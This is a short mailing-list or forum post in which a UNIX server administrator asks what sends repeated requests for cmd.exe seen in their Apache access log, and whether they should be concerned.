Hi, there,

For a while I am seing the following entries in my
Apache access log. It is always the same 16 lines,
coming from different IP addresses. I wonder, if
somebody can shed some light on what is it and
where do they come from. I know what these
requests will produce, if cmd.exe will ever be
found on my UNIX server.  I wonder what actually
sends these requests, is it robot, is it virus, is
it some sort of indexing software. What is it?
Should I be concerned and should I take any
precautions?
